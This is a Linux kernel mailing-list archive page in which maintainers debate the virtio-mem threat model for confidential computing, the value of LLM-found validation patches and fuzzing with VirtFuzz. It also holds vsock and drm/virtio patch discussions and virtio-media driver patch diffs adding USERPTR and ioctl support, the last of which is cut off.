> On 7/18/26 10:21, Michael S. Tsirkin wrote:
> > On Sat, Jul 18, 2026 at 10:07:30AM -0700, Carlos Bilbao wrote:
> > > On 7/17/26 22:29, Greg Kroah-Hartman wrote:
> > > 
> > > > On Fri, Jul 17, 2026 at 08:31:09PM -0700, Carlos Bilbao wrote:
> > > > > Historically, one of the biggest criticisms of coco, especially around
> > > > > device hardening, was that there were too many values that a
> > > > > malicious/buggy device could misreport, making it a losing battle. That is
> > > > > no longer the case with LLMs, and we have the advantage (and challenge) of
> > > > > open-source dev, which allows us to receive many of these fixes "for free".
> > > > > If others want to burn their tokens, let them :)
> > > > I have lots of tokens to burn :)
> > > > 
> > > > So along those lines, any suggestions on how best to fuzz these code
> > > > paths?  Any workloads you all use for testing that I can take advantage
> > > > of?
> > > 
> > > We've the virtio-mem config struct layout and the kernel source, so for
> > > obvious fixes like a NULL check, static analysis is better than fuzzing.
> > > Claude took a few mins to find me two examples:
> > > 
> > > Patch 1: virtio-mem: reject non-power-of-two device_block_size
> > > This one is for virtio_mem_init() to check if
> > > !is_power_of_2(vm->device_block_size)
> > > 
> > > Patch 2: virto-mem: validate region_size and usable_region_size
> > > THis one checks region_size != 0 and vm->usable_reion_size >
> > > vm->region_size.
> > > 
> > > An endless factory of "silly" checks like these are low hanging fruit.
> > At the same time, these checks don't actually help within the coco
> > threat model, do they?
> > 
> > > Now, for harder bugs, looking around for fuzz options, VirtFuzz [1] looks
> > > like a great candidate for those interested in pursuing this direction.
> > > 
> > > 
> > > Their PoC fuzzes wireless/Bluetooth stack, but nothing our AI overlords
> > > can't quickly adapt for virtio-mem and other virtio drivers; the JSON
> > > definition to describe device behavior is easily extensible. Their threat
> > > model [2] describes an external attacker, but in the context of coco, the
> > > virtio device itself is the attacker.
> > What we need, however, is to exclude DoS attacks - these are outside the
> > threat model. If people try to address all DoS attacks uncritically we
> > just get a churn of changes which just might introduce issues of their
> > own.
> > 
> > Example:
> > 
> > 	BUG_ON(!is_power_of_2(....));
> > panics, non exploitable.
> > 
> > 	if(!is_power_of_2(....))
> > 		goto error;
> > 
> > can become exploitable if the cleanup is done wrong.
> 
> 
> Yes, you are 100% technically right about the scope of the threat model.
> DoS is out of scope because it is a fundamentally unreachable goal; the
> cloud provider can always just "pull the plug". The dangers of
> "vibe-coding" you point out are real, over-eager LLMs fixing up and down
> will create new vulnerabilities in complex cleanup paths. Also, TBH, I
> sympathize with a maintainer's disinterest in reviewing a million stupid
> checks.
> 
> But, to play devil's advocate: this assumes a missing check
> like is_power_of_2 only ever leads to a benign crash, rather than already
> cascading into an unknown, exploitable state down the line.
> 
> So these checks are not _just_ to prevent DoS!

I don't get it. It's normally for bug reporters to show the problem
is real. How about analysing what's going on eh?
The situation where a misbehaving hypervisor crashes guest
and this is reported as a "security problem" is unsustainable.

> 
> Anyhow, this is the exact justification for VirtFuzz. If your main concern
> is that adding validation checks might introduce subtle exploit paths in
> the error-cleanup code, VirtFuzz and tools like that, can fuzz those new
> paths exhaustively. It gives the automated safety net needed to scale coco
> device with as little regressions as possible.

Sorry I'm pretty sceptic how far this will get us, supposedly
all virtio drivers have been fuzzed by now.

Are we gonnu be inserting specilation barriers around all these
"security checks", as one example?

If there's something that never happens, I'm okay with just BUG_ON
instead of carefully propagating errors all around the place.

> 
> > 		
> > 
> > 
> > >   Here's a vibe coded PR of what I mean:
> > > 
> > > https://github.com/seemoo-lab/VirtFuzz/pull/7
> > > 
> > > CCed the creators/authors, thanks for open sourcing this!
> > > 
> > > Thanks,
> > > Carlos
> > > 
> > > [1] https://github.com/seemoo-lab/VirtFuzz
> > > 
> > > On 7/17/26 22:29, Greg Kroah-Hartman wrote:
> > > 
> > > > On Fri, Jul 17, 2026 at 08:31:09PM -0700, Carlos Bilbao wrote:
> > > > > Historically, one of the biggest criticisms of coco, especially around
> > > > > device hardening, was that there were too many values that a
> > > > > malicious/buggy device could misreport, making it a losing battle. That is
> > > > > no longer the case with LLMs, and we have the advantage (and challenge) of
> > > > > open-source dev, which allows us to receive many of these fixes "for free".
> > > > > If others want to burn their tokens, let them :)
> > > > I have lots of tokens to burn :)
> > > > 
> > > > So along those lines, any suggestions on how best to fuzz these code
> > > > paths?  Any workloads you all use for testing that I can take advantage
> > > > of?
> > > 
> > > We've the virto-mem config struct layout and the kernel source, so for
> > > obvious fixes like a NULL check, static analysis is better than fuzzing.
> > > Claude took a few mins to find me two examples:
> > > 
> > > Patch 1: virtio-mem: reject non-power-of-two device_block_size
> > > This one is for virtio_mem_init() to check if
> > > !is_power_of_2(vm->device_block_size)
> > > 
> > > Patch 2: virto-mem: validate region_size and usable_region_size
> > > THis one checks region_size != 0 and vm->usable_reion_size >
> > > vm->region_size.
> > > 
> > > An endless factory of "silly" checks like these are low hanging fruit.
> > > 
> > > Now, for harder bugs, looking around for fuzz options, VirtFuzz [1] looks
> > > like a great candidate for those interested in pursuing this direction.
> > > 
> > > 
> > > Their PoC fuzzes wireless/Bluetooth stack, but nothing our AI overlords
> > > can't quickly adapt for virtio-mem and other virtio drivers; the JSON
> > > definition to describe device behavior is easily extensible. Their threat
> > > model [2] describes an external attacker, but in the context of coco, the
> > > virtio device itself is the attacker. Here's a vibe coded PR of what I mean:
> > > 
> > > https://github.com/seemoo-lab/VirtFuzz/pull/7
> > > 
> > > CCed the creators/authors, thanks for open sourcing this!
> > > 
> > > Thanks,
> > > Carlos
> > > 
> > > [1] https://github.com/seemoo-lab/VirtFuzz
> > > [2] https://www.computer.org/csdl/proceedings-article/sp/2024/313000a024/1RjEa0y9RMQ
> > > 
> > > 
> > > > thanks,
> > > > 
> > > > greg k-h
> > > [2] https://www.computer.org/csdl/proceedings-article/sp/2024/313000a024/1RjEa0y9RMQ
> > > 
> > > 
> > > > thanks,
> > > > 
> > > > greg k-h
> 
> 
> Thanks,
> 
> Carlos


^ permalink raw reply

* Re: [PATCH v2 1/4] virtio-mem: validate device-reported block size
From: Michael S. Tsirkin @ 2026-07-23 23:52 UTC (permalink / raw)
  To: Greg Kroah-Hartman
  Cc: David Hildenbrand (Arm), Carlos Bilbao, Hari Mishal, Jason Wang,
	Xuan Zhuo, Eugenio Pérez, virtualization, linux-kernel,
	elena.reshetova, huster, mhollick, jiska.classen
In-Reply-To: <2026072036-outburst-rebel-c71b@gregkh>

On Mon, Jul 20, 2026 at 10:28:03AM +0200, Greg Kroah-Hartman wrote:
> Seriously, I'm trying to figure out what you all care about here and
> what exactly the threat model you want this driver to work in, and I'm
> getting conflicting answers.

And yet it's documented in the kernel tree.


The threat model for confidential includes everything that can lead
to information disclosure but excludes DoS attacks.

It's probably confusing because it's different from USB, where you
really do not want a usb device to crash kernel.
-- 
MST


^ permalink raw reply

* Re: [PATCH v2 1/4] virtio-mem: validate device-reported block size
From: Michael S. Tsirkin @ 2026-07-23 23:47 UTC (permalink / raw)
  To: Carlos Bilbao
  Cc: David Hildenbrand (Arm), Greg Kroah-Hartman, Hari Mishal,
	Jason Wang, Xuan Zhuo, Eugenio Pérez, virtualization,
	linux-kernel, elena.reshetova, huster, mhollick, jiska.classen
In-Reply-To: <2c636784-30c4-4de9-86ef-81c0027a85cf@gmail.com>

On Thu, Jul 23, 2026 at 04:23:34PM -0700, Carlos Bilbao wrote:
> On 7/20/26 02:19, David Hildenbrand (Arm) wrote:
> 
> > > > > We've the virto-mem config struct layout and the kernel source, so for
> > > > > obvious fixes like a NULL check, static analysis is better than fuzzing.
> > > > > Claude took a few mins to find me two examples:
> > > > > 
> > > > > Patch 1: virtio-mem: reject non-power-of-two device_block_size
> > > > > This one is for virtio_mem_init() to check if
> > > > > !is_power_of_2(vm->device_block_size)
> > > > > 
> > > > > Patch 2: virto-mem: validate region_size and usable_region_size
> > > > > THis one checks region_size != 0 and vm->usable_reion_size >
> > > > > vm->region_size.
> > > > > 
> > > > > An endless factory of "silly" checks like these are low hanging fruit.
> > > > "silly" is the right word.
> > > "silly" in what way?
> > > 
> > As in producing "silly" low-hanging fruit patches that don't move the needle
> > when it comes to security.
> > 
> > > Seriously, I'm trying to figure out what you all care about here and
> > > what exactly the threat model you want this driver to work in, and I'm
> > > getting conflicting answers.
> > > 
> > > Either you all do worry about the "device" sending bad data and want to
> > > protect from that, or you don't and you trust it.  Pick one please so
> > > that we know how to deal with these bug reports we are getting.
> > > 
> > > For example, for USB we have said our threat model is:
> > > 
> > >    - we do NOT trust the device before a driver is bound to the device,
> > >      so if a malicious device can do something to the kernel, the kernel
> > >      needs to be fixed.
> > >    - During the probe() call for a USB driver, the driver does NOT trust
> > >      the device, and again, anything a malicious device can do to the
> > >      kernel, the kernel should fix.
> > >    - After probe() for a USB driver succeeds, it's up to the driver if it
> > >      wants to validate all data coming from the device or not.  Right
> > >      now, in general, the kernel trusts the device at that point in time
> > >      so additional checks are discretionary and at the whim of the
> > >      maintainer.
> > > 
> > > For that last point, I will note that some BIG users of Linux (i.e.
> > > billions of Android devices) still explicitly do NOT want to trust the
> > > USB device at this point in time, and are relying on the kernel to
> > > protect the system from bad devices.  In that case, various patches have
> > > been taken to different drivers and subsystems to play whack-a-mole on
> > > while Android gets their act together to finally come up with a solid
> > > defensive plan (like ChromeOS has had for a decade.)  It will be seen
> > > which happens first, all drivers are properly fuzzed and fixed up, or
> > > Android gets their act together and finally fixes their b0rked system
> > > trust model.  I think Android management is relying on the kernel
> > > community to do the kernel work as they keep refusing to staff the
> > > userspace work that they need to do here...
> > Right, and for virtio devices trusting the device after probe is just extremely
> > questionable.
> > 
> > What changes during probe that the device suddenly sends us good data?
> > 
> > Why would a hypervisor that tried to break us before probe not try to break us
> > after probe?
> > 
> > > And yes, I really need to write this up in a more solid document for USB
> > > and get it into the tree, but at least this email thread has forced me
> > > to write down the above :)
> > > 
> > > 
> > > So, again, for virtio drivers, what exactly do you all want to say is
> > > your threat model that the drivers need to handle?  Can you all agree on
> > > something please?  Otherwise, for new developers like Hari, this is
> > > totaly confusion as to what they should be doing.
> > Well, I am also totally confused why we end up checking against some MUST
> > clauses in the spec, but not against others.
> > 
> > I am very much in favor of making virtio-mem completely safe to use even in
> > coco, where it is currently not used at all.
> > 
> > If it's really about "don't let a device trigger any unexpected kernel code
> > execution by sanitizing all input data", fine with me. We should do exactly
> > that. Try checking all MUST clauses etc.
> > 
> > But I don't think doing the "low hanging fruit" adds any security. It should be
> > done properly or not at all.
> 
> 
> I think you're mistaken in assuming that these "silly" fixes don't move the
> needle at all when it comes to security. We can't really quantify these
> things, and one extra NULL check by itself is probably not going to make a
> meaningful difference. But, IMHO, this should be treated as the opposite of
> "death by a thousand cuts", many small hardening improvements, each
> individually insignificant, can collectively make the kernel substantially
> more robust over long periods of time.
> 
> 
> Thanks,
> 
> Carlos


Simply put - no.

DoS attacks, including NULL ptr accesses, are outside the confidential
computing security boundary.  They have to be - denying service to
whoever is not paying them is exactly how cloud vendors get paid.


My preference is to ignore such non-issues - we need to focus on
handling real ones.


Besides, adding random changes all over the code for non issues
can easily introduce new security bugs. That's the classic death by a
thousand cuts.

Thanks,
-- 
MST


^ permalink raw reply

* Re: [PATCH v2 1/4] virtio-mem: validate device-reported block size
From: Carlos Bilbao @ 2026-07-23 23:23 UTC (permalink / raw)
  To: David Hildenbrand (Arm), Greg Kroah-Hartman
  Cc: Michael S. Tsirkin, Hari Mishal, Jason Wang, Xuan Zhuo,
	Eugenio Pérez, virtualization, linux-kernel, elena.reshetova,
	huster, mhollick, jiska.classen
In-Reply-To: <8237ffef-4fb4-40b4-82c3-e9236032ab7e@kernel.org>

On 7/20/26 02:19, David Hildenbrand (Arm) wrote:

>>>> We've the virto-mem config struct layout and the kernel source, so for
>>>> obvious fixes like a NULL check, static analysis is better than fuzzing.
>>>> Claude took a few mins to find me two examples:
>>>>
>>>> Patch 1: virtio-mem: reject non-power-of-two device_block_size
>>>> This one is for virtio_mem_init() to check if
>>>> !is_power_of_2(vm->device_block_size)
>>>>
>>>> Patch 2: virto-mem: validate region_size and usable_region_size
>>>> THis one checks region_size != 0 and vm->usable_reion_size >
>>>> vm->region_size.
>>>>
>>>> An endless factory of "silly" checks like these are low hanging fruit.
>>> "silly" is the right word.
>> "silly" in what way?
>>
> As in producing "silly" low-hanging fruit patches that don't move the needle
> when it comes to security.
>
>> Seriously, I'm trying to figure out what you all care about here and
>> what exactly the threat model you want this driver to work in, and I'm
>> getting conflicting answers.
>>
>> Either you all do worry about the "device" sending bad data and want to
>> protect from that, or you don't and you trust it.  Pick one please so
>> that we know how to deal with these bug reports we are getting.
>>
>> For example, for USB we have said our threat model is:
>>
>>    - we do NOT trust the device before a driver is bound to the device,
>>      so if a malicious device can do something to the kernel, the kernel
>>      needs to be fixed.
>>    - During the probe() call for a USB driver, the driver does NOT trust
>>      the device, and again, anything a malicious device can do to the
>>      kernel, the kernel should fix.
>>    - After probe() for a USB driver succeeds, it's up to the driver if it
>>      wants to validate all data coming from the device or not.  Right
>>      now, in general, the kernel trusts the device at that point in time
>>      so additional checks are discretionary and at the whim of the
>>      maintainer.
>>
>> For that last point, I will note that some BIG users of Linux (i.e.
>> billions of Android devices) still explicitly do NOT want to trust the
>> USB device at this point in time, and are relying on the kernel to
>> protect the system from bad devices.  In that case, various patches have
>> been taken to different drivers and subsystems to play whack-a-mole on
>> while Android gets their act together to finally come up with a solid
>> defensive plan (like ChromeOS has had for a decade.)  It will be seen
>> which happens first, all drivers are properly fuzzed and fixed up, or
>> Android gets their act together and finally fixes their b0rked system
>> trust model.  I think Android management is relying on the kernel
>> community to do the kernel work as they keep refusing to staff the
>> userspace work that they need to do here...
> Right, and for virtio devices trusting the device after probe is just extremely
> questionable.
>
> What changes during probe that the device suddenly sends us good data?
>
> Why would a hypervisor that tried to break us before probe not try to break us
> after probe?
>
>> And yes, I really need to write this up in a more solid document for USB
>> and get it into the tree, but at least this email thread has forced me
>> to write down the above :)
>>
>>
>> So, again, for virtio drivers, what exactly do you all want to say is
>> your threat model that the drivers need to handle?  Can you all agree on
>> something please?  Otherwise, for new developers like Hari, this is
>> totaly confusion as to what they should be doing.
> Well, I am also totally confused why we end up checking against some MUST
> clauses in the spec, but not against others.
>
> I am very much in favor of making virtio-mem completely safe to use even in
> coco, where it is currently not used at all.
>
> If it's really about "don't let a device trigger any unexpected kernel code
> execution by sanitizing all input data", fine with me. We should do exactly
> that. Try checking all MUST clauses etc.
>
> But I don't think doing the "low hanging fruit" adds any security. It should be
> done properly or not at all.


I think you're mistaken in assuming that these "silly" fixes don't move the
needle at all when it comes to security. We can't really quantify these
things, and one extra NULL check by itself is probably not going to make a
meaningful difference. But, IMHO, this should be treated as the opposite of
"death by a thousand cuts", many small hardening improvements, each
individually insignificant, can collectively make the kernel substantially
more robust over long periods of time.


Thanks,

Carlos


^ permalink raw reply

* Re: [PATCH] vsock: use sock_error() to consume sk_err after connect timeout
From: Michal Luczaj @ 2026-07-23 21:43 UTC (permalink / raw)
  To: Nguyen Dinh Phi [SG], Stefano Garzarella
  Cc: David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
	Simon Horman, syzbot+1b2c9c4a0f8708082678, virtualization, netdev,
	linux-kernel
In-Reply-To: <27412e44-ab4b-4dd3-9685-481875683860@gmail.com>

On 7/23/26 12:26, Nguyen Dinh Phi [SG] wrote:
>>>>> ...
>>>>> Yeah, we need to handle that part better, I think it's a leftover when
>>>>> we generalized AF_VSOCK to support more transport than vmci.
>>>
>>> Speaking of leftovers, I have trouble understanding where does vsock set
>>> sk_err on listener sockets anyway. If it doesn't, why vsock_accept() 
>>> checks for it?
>>
>> I can't also see where it can be set TBH. Should we remove it ?
> 
> I couldn't find it for listener side too.

Removing sk_err handling from vsock_accept() solves the problem, right?

thanks,
Michal

^ permalink raw reply

* Re: [PATCH v2] drm/virtio: fix deadlock in display_info_cb by removing hotplug from dequeue worker
From: Dmitry Osipenko @ 2026-07-23 18:56 UTC (permalink / raw)
  To: Mikko Rapeli, stable
  Cc: Ryosuke Yasuoka, David Airlie, Gerd Hoffmann, Gurchetan Singh,
	Chia-I Wu, Maarten Lankhorst, Maxime Ripard, Thomas Zimmermann,
	Simona Vetter, Dmitry Baryshkov, Javier Martinez Canillas,
	dri-devel, virtualization, linux-kernel
In-Reply-To: <amG_T7Kb7DW3VTxm@nuoska>

On 7/23/26 10:14, Mikko Rapeli wrote:
> Hi, adding stable@vger.kernel.org
> 
> In Yocto distro, this change released in v7.2-rc4 seems to fix quite severe qemu
> boot hangs seen with 6.18 stable kernels. Details in
> https://bugzilla.yoctoproject.org/show_bug.cgi?id=16217
> 
> Please apply this to to 6.18 and other stable trees.

The patch will be auto-applied to all stable kernel versions covered by
the `fixes` tag in the commit message, including 6.18. Thanks for
letting know that it fixes a practical problem.

-- 
Best regards,
Dmitry

^ permalink raw reply

* [PATCH v5 5/5] media: virtio: Add USERPTR memory type support
From: Brian Daniels @ 2026-07-23 18:32 UTC (permalink / raw)
  To: Mauro Carvalho Chehab
  Cc: adelva, aesteve, changyeon, daniel.almeida, eperezma, gnurou,
	gurchetansingh, hverkuil, jasowang, linux-kernel, linux-media,
	mst, nicolas.dufresne, virtualization, xuanzhuo, Brian Daniels
In-Reply-To: <20260723183219.737296-1-briandaniels@google.com>

From: Alexandre Courbot <gnurou@gmail.com>

This patch adds support for the USERPTR memory type to the virtio-media
driver.

It adds the allow_userptr module parameter, implements the userptr
mapping logic in the scatterlist builder, and enables USERPTR in
reqbufs if allowed.

Signed-off-by: Alexandre Courbot <gnurou@gmail.com>
Assisted-by: Antigravity:gemini-3.5-flash
Co-developed-by: Brian Daniels <briandaniels@google.com>
Signed-off-by: Brian Daniels <briandaniels@google.com>
---
 drivers/media/virtio/scatterlist_builder.c | 64 ++++++++++++++++++++++
 drivers/media/virtio/scatterlist_builder.h |  3 +
 drivers/media/virtio/virtio_media_driver.c | 42 +++++++++-----
 drivers/media/virtio/virtio_media_ioctls.c | 11 +++-
 4 files changed, 104 insertions(+), 16 deletions(-)

diff --git a/drivers/media/virtio/scatterlist_builder.c b/drivers/media/virtio/scatterlist_builder.c
index 97925b277..85c6a36b4 100644
--- a/drivers/media/virtio/scatterlist_builder.c
+++ b/drivers/media/virtio/scatterlist_builder.c
@@ -349,14 +349,30 @@ static int scatterlist_builder_add_userptr(struct scatterlist_builder *builder,
 int scatterlist_builder_add_buffer(struct scatterlist_builder *builder,
 				   struct v4l2_buffer *b)
 {
+	int i;
 	int ret;
 
+	/* Fixup: plane length must be zero if userptr is NULL */
+	if (!V4L2_TYPE_IS_MULTIPLANAR(b->type) &&
+	    b->memory == V4L2_MEMORY_USERPTR && b->m.userptr == 0)
+		b->length = 0;
+
 	/* v4l2_buffer */
 	ret = scatterlist_builder_add_data(builder, b, sizeof(*b));
 	if (ret)
 		return ret;
 
 	if (V4L2_TYPE_IS_MULTIPLANAR(b->type) && b->length > 0) {
+		/* Fixup: plane length must be zero if userptr is NULL */
+		if (b->memory == V4L2_MEMORY_USERPTR) {
+			for (i = 0; i < b->length; i++) {
+				struct v4l2_plane *plane = &b->m.planes[i];
+
+				if (plane->m.userptr == 0)
+					plane->length = 0;
+			}
+		}
+
 		/* Array of v4l2_planes */
 		ret = scatterlist_builder_add_data(builder, b->m.planes,
 						   sizeof(struct v4l2_plane) *
@@ -368,6 +384,54 @@ int scatterlist_builder_add_buffer(struct scatterlist_builder *builder,
 	return 0;
 }
 
+/**
+ * scatterlist_builder_add_buffer_userptr() - Add the payload of a ``USERPTR``
+ *                                            &struct v4l2_buffer to the
+ *                                            descriptor chain.
+ * @builder: builder to use.
+ * @b: &struct v4l2_buffer whose ``USERPTR`` payload we want to add.
+ *
+ * Add an array of &struct virtio_media_sg_entry pointing to a ``USERPTR``
+ * buffer's contents. Does nothing if the buffer is not of type ``USERPTR``.
+ * This is split out of scatterlist_builder_add_buffer() because we only want
+ * to add these to the device-readable part of the descriptor chain.
+ */
+int scatterlist_builder_add_buffer_userptr(struct scatterlist_builder *builder,
+					   struct v4l2_buffer *b)
+{
+	int i;
+	int ret;
+
+	if (b->memory != V4L2_MEMORY_USERPTR)
+		return 0;
+
+	if (V4L2_TYPE_IS_MULTIPLANAR(b->type)) {
+		for (i = 0; i < b->length; i++) {
+			struct v4l2_plane *plane = &b->m.planes[i];
+
+			if (b->memory == V4L2_MEMORY_USERPTR &&
+			    plane->length > 0) {
+				unsigned long uptr = plane->m.userptr;
+				unsigned long len = plane->length;
+
+				ret =
+				scatterlist_builder_add_userptr(builder,
+								uptr,
+								len);
+				if (ret)
+					return ret;
+			}
+		}
+	} else if (b->length > 0) {
+		ret = scatterlist_builder_add_userptr(builder, b->m.userptr,
+						      b->length);
+		if (ret)
+			return ret;
+	}
+
+	return 0;
+}
+
 /**
  * scatterlist_builder_retrieve_buffer() - Retrieve a &struct v4l2_buffer
  *                                         written by the device on the shadow
diff --git a/drivers/media/virtio/scatterlist_builder.h b/drivers/media/virtio/scatterlist_builder.h
index 47bfd7ae0..53d964a48 100644
--- a/drivers/media/virtio/scatterlist_builder.h
+++ b/drivers/media/virtio/scatterlist_builder.h
@@ -90,6 +90,9 @@ int scatterlist_builder_add_ioctl_resp(struct scatterlist_builder *builder,
 int scatterlist_builder_add_buffer(struct scatterlist_builder *builder,
 				   struct v4l2_buffer *buffer);
 
+int scatterlist_builder_add_buffer_userptr(struct scatterlist_builder *builder,
+					   struct v4l2_buffer *b);
+
 int scatterlist_builder_retrieve_buffer(struct scatterlist_builder *builder,
 					size_t sg_index,
 					struct v4l2_buffer *buffer,
diff --git a/drivers/media/virtio/virtio_media_driver.c b/drivers/media/virtio/virtio_media_driver.c
index c431c3eb2..b6f79593d 100644
--- a/drivers/media/virtio/virtio_media_driver.c
+++ b/drivers/media/virtio/virtio_media_driver.c
@@ -7,26 +7,29 @@
  */
 
 #include <linux/bits.h>
+#include <linux/delay.h>
 #include <linux/device.h>
 #include <linux/dev_printk.h>
+#include <linux/mm.h>
 #include <linux/mutex.h>
+#include <linux/scatterlist.h>
 #include <linux/types.h>
+#include <linux/videodev2.h>
+#include <linux/vmalloc.h>
+#include <linux/wait.h>
+#include <linux/workqueue.h>
 #include <linux/module.h>
+#include <linux/moduleparam.h>
 #include <linux/virtio.h>
 #include <linux/virtio_config.h>
 #include <linux/virtio_ids.h>
-#include <linux/slab.h>
-#include <linux/scatterlist.h>
-#include <linux/vmalloc.h>
-#include <linux/workqueue.h>
-#include <linux/dma-mapping.h>
-#include <linux/poll.h>
-#include <linux/mm.h>
 
+#include <media/frame_vector.h>
 #include <media/v4l2-dev.h>
-#include <media/v4l2-device.h>
-#include <media/v4l2-fh.h>
 #include <media/v4l2-event.h>
+#include <media/videobuf2-memops.h>
+#include <media/v4l2-device.h>
+#include <media/v4l2-ioctl.h>
 
 #include "uapi/linux/virtio_media.h"
 #include "session.h"
@@ -40,6 +43,15 @@
 /* Bit mask for the VIRTIO_MEDIA_MMAP_FLAG_RW flag */
 #define VIRTIO_MEDIA_MMAP_FLAG_RW_MASK BIT(VIRTIO_MEDIA_MMAP_FLAG_RW)
 
+/*
+ * Whether USERPTR buffers are allowed.
+ *
+ * This is disabled by default as USERPTR buffers are dangerous, but the option
+ * is left to enable them if desired.
+ */
+bool virtio_media_allow_userptr;
+module_param_named(allow_userptr, virtio_media_allow_userptr, bool, 0660);
+
 /**
  * virtio_media_session_alloc() - Allocate a new session.
  * @vv: virtio-media device the session belongs to.
@@ -849,15 +861,11 @@ static int virtio_media_probe(struct virtio_device *virtio_dev)
 			      VIRTIO_MEDIA_SHM_MMAP);
 
 	vd = &vv->video_dev;
+
 	vd->v4l2_dev = &vv->v4l2_dev;
 	vd->vfl_type = VFL_TYPE_VIDEO;
 	vd->ioctl_ops = &virtio_media_ioctl_ops;
 	vd->fops = &virtio_media_fops;
-	vd->release = video_device_release_empty;
-	strscpy(vd->name, "virtio-media", sizeof(vd->name));
-
-	video_set_drvdata(vd, vv);
-
 	vd->device_caps = virtio_cread32(virtio_dev, 0);
 	if (vd->device_caps & (V4L2_CAP_VIDEO_M2M | V4L2_CAP_VIDEO_M2M_MPLANE))
 		vd->vfl_dir = VFL_DIR_M2M;
@@ -866,6 +874,10 @@ static int virtio_media_probe(struct virtio_device *virtio_dev)
 		vd->vfl_dir = VFL_DIR_TX;
 	else
 		vd->vfl_dir = VFL_DIR_RX;
+	vd->release = video_device_release_empty;
+	strscpy(vd->name, "virtio-media", sizeof(vd->name));
+
+	video_set_drvdata(vd, vv);
 
 	ret = video_register_device(vd, virtio_cread32(virtio_dev, 4), 0);
 	if (ret)
@@ -890,6 +902,7 @@ static int virtio_media_probe(struct virtio_device *virtio_dev)
 	virtio_dev->config->del_vqs(virtio_dev);
 err_find_vqs:
 	v4l2_device_unregister(&vv->v4l2_dev);
+
 	return ret;
 }
 
@@ -900,6 +913,7 @@ static void virtio_media_remove(struct virtio_device *virtio_dev)
 
 	cancel_work_sync(&vv->eventq_work);
 	virtio_reset_device(virtio_dev);
+
 	v4l2_device_unregister(&vv->v4l2_dev);
 	virtio_dev->config->del_vqs(virtio_dev);
 	video_unregister_device(&vv->video_dev);
diff --git a/drivers/media/virtio/virtio_media_ioctls.c b/drivers/media/virtio/virtio_media_ioctls.c
index f0b82b5ec..88465f239 100644
--- a/drivers/media/virtio/virtio_media_ioctls.c
+++ b/drivers/media/virtio/virtio_media_ioctls.c
@@ -273,6 +273,12 @@ static int virtio_media_send_buffer_ioctl(struct v4l2_fh *fh, u32 ioctl,
 		return ret;
 
 	end_buf_sg = builder.cur_sg;
+
+	/* Payload of SHARED_PAGES buffers, if relevant */
+	ret = scatterlist_builder_add_buffer_userptr(&builder, b);
+	if (ret < 0)
+		return ret;
+
 	num_cmd_sgs = builder.cur_sg;
 
 	/* Response descriptor */
@@ -719,7 +725,7 @@ static int virtio_media_reqbufs(struct file *file, void *fh,
 	if (b->type > VIRTIO_MEDIA_LAST_QUEUE)
 		return -EINVAL;
 
-	if (b->memory == V4L2_MEMORY_USERPTR)
+	if (b->memory == V4L2_MEMORY_USERPTR && !virtio_media_allow_userptr)
 		return -EINVAL;
 
 	ret = virtio_media_send_wr_ioctl(vfh, VIDIOC_REQBUFS, b, sizeof(*b),
@@ -752,7 +758,8 @@ static int virtio_media_reqbufs(struct file *file, void *fh,
 	if (V4L2_TYPE_IS_MULTIPLANAR(b->type))
 		session->uses_mplane = true;
 
-	b->capabilities &= ~V4L2_BUF_CAP_SUPPORTS_USERPTR;
+	if (!virtio_media_allow_userptr)
+		b->capabilities &= ~V4L2_BUF_CAP_SUPPORTS_USERPTR;
 
 	/* We do not support DMABUF yet. */
 	b->capabilities &= ~V4L2_BUF_CAP_SUPPORTS_DMABUF;
-- 
2.55.0.229.g6434b31f56-goog


^ permalink raw reply related

* [PATCH v5 4/5] media: virtio: Add ioctl operations and driver logic
From: Brian Daniels @ 2026-07-23 18:32 UTC (permalink / raw)
  To: Mauro Carvalho Chehab
  Cc: adelva, aesteve, changyeon, daniel.almeida, eperezma, gnurou,
	gurchetansingh, hverkuil, jasowang, linux-kernel, linux-media,
	mst, nicolas.dufresne, virtualization, xuanzhuo, Brian Daniels
In-Reply-To: <20260723183219.737296-1-briandaniels@google.com>

From: Alexandre Courbot <gnurou@gmail.com>

This patch adds the ioctl operations and the remaining driver logic
for polling and mmapping.

It adds drivers/media/virtio/virtio_media_ioctls.c and updates
virtio_media_driver.c to support poll, mmap, and ioctls.

Signed-off-by: Alexandre Courbot <gnurou@gmail.com>
Assisted-by: Antigravity:gemini-3.5-flash
Co-developed-by: Brian Daniels <briandaniels@google.com>
Signed-off-by: Brian Daniels <briandaniels@google.com>
---
 drivers/media/virtio/Makefile              |    2 +-
 drivers/media/virtio/virtio_media_driver.c |  195 +++
 drivers/media/virtio/virtio_media_ioctls.c | 1319 ++++++++++++++++++++
 3 files changed, 1515 insertions(+), 1 deletion(-)
 create mode 100644 drivers/media/virtio/virtio_media_ioctls.c

diff --git a/drivers/media/virtio/Makefile b/drivers/media/virtio/Makefile
index 8290d8506..f1bc8a3ce 100644
--- a/drivers/media/virtio/Makefile
+++ b/drivers/media/virtio/Makefile
@@ -2,6 +2,6 @@
 #
 # Makefile for the virtio-media device driver.
 
-virtio-media-objs := scatterlist_builder.o virtio_media_driver.o
+virtio-media-objs := scatterlist_builder.o virtio_media_ioctls.o virtio_media_driver.o
 
 obj-$(CONFIG_MEDIA_VIRTIO) += virtio-media.o
diff --git a/drivers/media/virtio/virtio_media_driver.c b/drivers/media/virtio/virtio_media_driver.c
index 938786b05..c431c3eb2 100644
--- a/drivers/media/virtio/virtio_media_driver.c
+++ b/drivers/media/virtio/virtio_media_driver.c
@@ -6,6 +6,7 @@
  * Copyright (c) 2024-2026 Google LLC.
  */
 
+#include <linux/bits.h>
 #include <linux/device.h>
 #include <linux/dev_printk.h>
 #include <linux/mutex.h>
@@ -19,6 +20,8 @@
 #include <linux/vmalloc.h>
 #include <linux/workqueue.h>
 #include <linux/dma-mapping.h>
+#include <linux/poll.h>
+#include <linux/mm.h>
 
 #include <media/v4l2-dev.h>
 #include <media/v4l2-device.h>
@@ -31,6 +34,12 @@
 
 #define VIRTIO_MEDIA_NUM_EVENT_BUFS 16
 
+/* ID of the SHM region into which MMAP buffer will be mapped. */
+#define VIRTIO_MEDIA_SHM_MMAP 0
+
+/* Bit mask for the VIRTIO_MEDIA_MMAP_FLAG_RW flag */
+#define VIRTIO_MEDIA_MMAP_FLAG_RW_MASK BIT(VIRTIO_MEDIA_MMAP_FLAG_RW)
+
 /**
  * virtio_media_session_alloc() - Allocate a new session.
  * @vv: virtio-media device the session belongs to.
@@ -593,10 +602,191 @@ static int virtio_media_device_close(struct file *file)
 	return virtio_media_session_close(vv, session);
 }
 
+/**
+ * virtio_media_device_poll() - Poll logic for a virtio-media device.
